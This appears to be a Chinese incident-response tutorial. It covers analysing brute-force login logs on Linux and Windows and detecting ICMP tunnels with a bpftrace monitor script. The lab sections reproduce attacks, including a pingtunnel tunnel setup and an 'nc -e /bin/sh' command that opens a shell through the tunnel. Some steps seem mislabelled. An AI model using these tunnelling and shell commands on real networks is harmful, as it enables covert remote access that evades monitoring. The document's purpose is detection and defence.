免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。
爆破日志分析
在应急响应时,为了了解和追查攻击者的攻击入口点和攻击意图,通常使用日志分析的方法,还原攻击方法获取攻击者指纹
其中爆破攻击是在内外网中最常见的一种攻击,尤其是内网横向移动
在分析日志时,需要做到:
- 明确日志的具体路径
- 明确日志中有哪些属性和判断依据
现在我通过Linux和Windows两种操作系统为例,分析爆破攻击的日志
Linux
系统日志通常是分析 /var/log 路径下面的日志- 其中最为重要的是:
- /var/log/auth.log
- 或者
- /var/log/secure
复制代码 当然如果是第三方安装的程序,需要找对应的日志路径
Linux-ssh爆破
攻击复现
使用railgun破解工具对虚拟机进行ssh爆破
日志检查
查看 /var/log/secure 情况
查看错误日志登录
cat /var/log/secure|grep Failed
其中许多错误密码记录,并且时间间隔很近,可以判定为爆破事件
成功判断
观察是否登录成功:
cat /var/log/secure|grep Accepted
来源统计
统计登录失败的ip和次数
处置建议
有爆破成功登录的日志,后续需要紧急对该ip进行拉黑封堵
防止爆破建议安装 fail2ban 进行防御
Windows
Windows-RDP:
事件ID:4625/4624
登陆类型:2/3/5/10
- 2 交互式登录(也称为“本地登录”)
- 3 Network (网络)
- 10 远程桌面(以前称为“终端服务”)
环境准备
虚拟机启动远程服务端口
控制面板-->搜索远程-->允许远程访问你的计算机-->允许应用,此时3389端口就启用了
关闭防火墙
审核配置
开启审核登录成功失败策略点击修改(当然最好全部打开,为后面的实验准备)
日志位置
日志查看路径
日志查看方法有多种:
- 直接访问
文件夹C:\Windows\System32\winevt\Logs下的日志,一般重点看security.evtx、setup.evtx、system.evtx
- 使用事件管理器
Win+R输入eventvwr-->windows日志-->安全
接下来使用后面使用事件管理器为主
攻击复现
同理使用工具爆破
日志分析
查看日志,看到大量失败日志,并且事件时间距离很近,判断为爆破事件
通过筛选和时间判断,登录是否成功
查看详细信息可以获取爆破的事件类型为网络登录
Windows-SMB:
事件ID:4625/4624
登陆类型:2/3/5/10
环境准备
在本地搭建开启smb服务
参考链接:https://zhuanlan.zhihu.com/p/879444178
策略也要改,不然没有日志
攻击复现
使用爆破工具
日志分析
同样
信息提取
从详细信息提取攻击者的信息和事件类型
除上述例子外还有FTP,Redis,MYSQL,STMP等协议爆破事件,有的是通过系统下载会直接存到系统日志,有些则是应用自带日志管理,需要灵活辨认
隧道流量分析
场景说明:内网或不出网的情况下,协议隧道技术很常见,那么如何定位到进程及攻击者?
- 明确隧道最常使用的协议技术(socket,DNS,ICMP等等)
- 明确Windows,Linux中分析技术
下面我以ICMP隧道为例子
ICMP实验
Linux-ICMP
Kail为客户端:192.168.41.128
Centos为服务端:192.168.41.144
工具准备
工具地址:pingtunnel
服务端启动
服务端启动- ./request_monitor.sh ip
- ip可以是本机ip也可以是目标ip
复制代码
客户端启动
客户端启动- sudo ./pingtunnel -type client -l :4445 -s 192.168.41.144 -t 127.0.0.1:4444 -tcp 1 -key 1234
复制代码
隧道说明
含义- client连4445 → server → server本机4444
复制代码 连接测试
测试连接
服务端监听4444
上线验证
客户端执行上线- nc -e /bin/sh 127.0.0.1 4445
复制代码
以上看出已经连上了
本地检查
看看客户端本地能不能查看到外联情况
也是成功将隧道打通隐藏了
隧道检测
分析与发现icmp隧道:
request_monitor.sh- #!/bin/bash
- convert_ip_to_integers() {
- local ip=$1
- IFS='.' read -r a b c d <<< "$ip"
- be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
- le_ip_int=$((d << 24 | c << 16 | b << 8 | a))
- echo "$be_ip_int $le_ip_int"
- }
- IP="$1"
- if [ -z "$IP" ]; then
- echo "用法: $0 <目标IP>"
- exit 1
- fi
- read big_endian little_endian <<< "$(convert_ip_to_integers "$IP")"
- echo "Start listening for ICMP traffic related to $IP"
- echo ""
- sudo bpftrace ./request_monitor.bt "$big_endian" "$little_endian" | while IFS= read -r line; do
- if [[ "$line" == EVENT* ]]; then
- pid=$(echo "$line" | sed -n 's/.*pid=\([0-9]\+\).*/\1/p')
- exe="N/A"
- if [[ -n "$pid" && -e "/proc/$pid/exe" ]]; then
- exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
- [[ -z "$exe" ]] && exe="N/A"
- fi
- echo "$line exe=$exe"
- else
- echo "$line"
- fi
- done
复制代码 环境安装
安装:- #!/usr/bin/env bpftrace
- /*
- 监听和指定 IP 相关的 ICMP 流量(双向)
- 参数:
- $1 = 目标IP大端整数
- $2 = 目标IP小端整数
- */
- kprobe:__dev_queue_xmit
- {
- $skb = (struct sk_buff *)arg0;
- if ($skb) {
- $iph = (struct iphdr *)($skb->head + $skb->network_header);
- if ($iph) {
- if ($iph->protocol == 1) {
- if ($iph->daddr == $1 || $iph->daddr == $2 ||
- $iph->saddr == $1 || $iph->saddr == $2) {
- printf("EVENT send pid=%d tid=%d comm=%s src=%s dst=%s\n",
- pid, tid, comm,
- ntop(2, $iph->saddr),
- ntop(2, $iph->daddr));
- }
- }
- }
- }
- }
- kprobe:netif_receive_skb
- {
- $skb = (struct sk_buff *)arg0;
- if ($skb) {
- $iph = (struct iphdr *)($skb->head + $skb->network_header);
- if ($iph) {
- if ($iph->protocol == 1) {
- if ($iph->daddr == $1 || $iph->daddr == $2 ||
- $iph->saddr == $1 || $iph->saddr == $2) {
- printf("EVENT recv pid=%d tid=%d comm=%s src=%s dst=%s\n",
- pid, tid, comm,
- ntop(2, $iph->saddr),
- ntop(2, $iph->daddr));
- }
- }
- }
- }
- }
复制代码 启动监听
启动监听- sudo apt update
- sudo apt install bpftrace
- chmod +x request_monitor.sh
- chmod +x request_monitor.bt
复制代码 客户机ip(受害机)
成功获取到本地icmp连接的端口以及程序进程和路径
处置建议
后面就是对ip进行处置封锁
Windows-ICMP
服务端kail:192.168.42.130
客户端win10:192.168.42.133
实验环境
实验工具:pingtunnel
服务端启动
- ./request_monitor.sh ip
- ip可以是本机ip也可以是目标ip
复制代码
客户端启动
- sudo ./pingtunnel -type server -key 1234
复制代码
流量分析
分析icmp流量:Microsoft Message Analyzer
下载:Microsoft Message Analyzer
进程定位
以管理员身份运行
点击Start Local Trace找到icmp流量
选中一条,打开details4,如图
点击详细信息,如图
就可以准查到进程命令了
补充说明
由于Microsoft Message Analyzer现在已经停止更新了,所以有些系统无法使用,也可以通过wireshark对流量进行分析
处置
封IP及防火墙限制协议
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |